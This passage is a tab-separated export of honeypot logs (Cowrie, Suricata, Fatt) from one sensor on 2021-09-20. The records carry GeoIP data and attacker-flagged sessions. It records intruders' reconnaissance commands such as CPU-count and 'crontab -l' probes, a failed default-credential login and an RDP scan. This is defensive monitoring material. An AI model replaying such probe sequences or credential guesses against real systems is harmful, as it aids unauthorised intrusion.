36032	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:11:25.139694+03	2021-09-20 15:15:04.045692+03	{"_id": "0wYeA3wBvYTbRNuEPF-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "343b13eb48a4", "@version": "1", "duration": 2.2075676918029785, "timestamp": "2021-09-20T12:11:25.139694Z", "@timestamp": "2021-09-20T12:11:25.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36033	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:11:25.53306+03	2021-09-20 15:15:04.046693+03	{"_id": "2QYeA3wBvYTbRNuEPV_R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1216845745840908, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42422, "dest_port": 3389, "timestamp": "2021-09-20T12:11:25.533060Z", "@timestamp": "2021-09-20T12:11:25.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
36034	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:27.017251+03	2021-09-20 15:15:04.04769+03	{"_id": "7AYeA3wBvYTbRNuEQl_6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36192, "dest_port": 443, "timestamp": "2021-09-20T12:11:27.017251", "@timestamp": "2021-09-20T12:11:27.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36035	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:26.662345+03	2021-09-20 15:15:04.048692+03	{"_id": "8gYeA3wBvYTbRNuERF-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:26.662345Z", "@timestamp": "2021-09-20T12:11:26.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
36036	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:26.662876+03	2021-09-20 15:15:04.04972+03	{"_id": "8wYeA3wBvYTbRNuERF-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:26.662876Z", "@timestamp": "2021-09-20T12:11:26.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36037	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:27.290818+03	2021-09-20 15:15:04.05172+03	{"_id": "9AYeA3wBvYTbRNuERF-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "43.240.6.90", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6285545825958252, "duplicate": true, "timestamp": "2021-09-20T12:11:27.290818Z", "@timestamp": "2021-09-20T12:11:27.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36038	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:11:26.964944+03	2021-09-20 15:15:04.05272+03	{"_id": "9gYeA3wBvYTbRNuERV-j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5969, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1988, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2170813816943496, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33966, "timestamp": "2021-09-20T12:11:26.964944Z", "@timestamp": "2021-09-20T12:11:26.964Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36039	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:11:26.963464+03	2021-09-20 15:15:04.053719+03	{"_id": "9QYeA3wBvYTbRNuERV-j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5969, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2170813816943496, "@version": "1", "in_iface": "enp5s0", "src_port": 33966, "dest_port": 53, "timestamp": "2021-09-20T12:11:26.963464Z", "@timestamp": "2021-09-20T12:11:26.963Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36040	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:11:27.060774+03	2021-09-20 15:15:04.05472+03	{"_id": "-AYeA3wBvYTbRNuERl-d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36192, "timestamp": "2021-09-20T12:11:27.060774", "@timestamp": "2021-09-20T12:11:27.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36041	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:28.327771+03	2021-09-20 15:15:04.055721+03	{"_id": "-QYeA3wBvYTbRNuESF9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "43.240.6.90", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6188735961914062, "duplicate": true, "timestamp": "2021-09-20T12:11:28.327771Z", "@timestamp": "2021-09-20T12:11:28.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36042	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:27.709509+03	2021-09-20 15:15:04.057689+03	{"_id": "-gYeA3wBvYTbRNuESF9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:27.709509Z", "@timestamp": "2021-09-20T12:11:27.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36043	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:28.78125+03	2021-09-20 15:15:04.058691+03	{"_id": "_AYeA3wBvYTbRNuETF9Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:28.781250Z", "@timestamp": "2021-09-20T12:11:28.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36044	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:30.001007+03	2021-09-20 15:15:04.059692+03	{"_id": "BgYeA3wBvYTbRNuETmC0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46496, "timestamp": "2021-09-20T12:11:30.001007", "@timestamp": "2021-09-20T12:11:30.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36045	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:29.825134+03	2021-09-20 15:15:04.06169+03	{"_id": "BwYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:29.825134Z", "@timestamp": "2021-09-20T12:11:29.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36046	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:11:30.335443+03	2021-09-20 15:15:04.06269+03	{"_id": "CAYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [aem/aem] failed", "session": "d49a83c7af69", "@version": "1", "password": "aem", "username": "aem", "timestamp": "2021-09-20T12:11:30.335443Z", "@timestamp": "2021-09-20T12:11:30.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
36057	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:11:26.62+03	2021-09-20 15:15:04.076691+03	{"_id": "8QYeA3wBvYTbRNuEQl_6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36190, "timestamp": "2021-09-20T12:11:26.620000", "@timestamp": "2021-09-20T12:11:26.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36047	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:21.01778+03	2021-09-20 15:15:04.06369+03	{"_id": "uQYeA3wBvYTbRNuELV8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "43.240.6.90", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6183762550354004, "duplicate": true, "timestamp": "2021-09-20T12:11:21.017780Z", "@timestamp": "2021-09-20T12:11:21.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
36048	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:22.5106+03	2021-09-20 15:15:04.064689+03	{"_id": "ugYeA3wBvYTbRNuEMF_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:22.510600Z", "@timestamp": "2021-09-20T12:11:22.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36049	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:23.582462+03	2021-09-20 15:15:04.066691+03	{"_id": "xAYeA3wBvYTbRNuENF_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:23.582462Z", "@timestamp": "2021-09-20T12:11:23.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
36050	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:11:22.929666+03	2021-09-20 15:15:04.06769+03	{"_id": "xQYeA3wBvYTbRNuENF_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:54588 (192.168.176.2:22) [session: 343b13eb48a4]", "session": "343b13eb48a4", "@version": "1", "protocol": "ssh", "src_port": 54588, "dest_port": 22, "timestamp": "2021-09-20T12:11:22.929666Z", "@timestamp": "2021-09-20T12:11:22.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36051	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:11:22.932499+03	2021-09-20 15:15:04.069689+03	{"_id": "xgYeA3wBvYTbRNuENF_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "343b13eb48a4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:11:22.932499Z", "@timestamp": "2021-09-20T12:11:22.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
36058	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:11:29.999893+03	2021-09-20 15:15:04.07869+03	{"_id": "CgYeA3wBvYTbRNuEUGBE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d49a83c7af69", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", 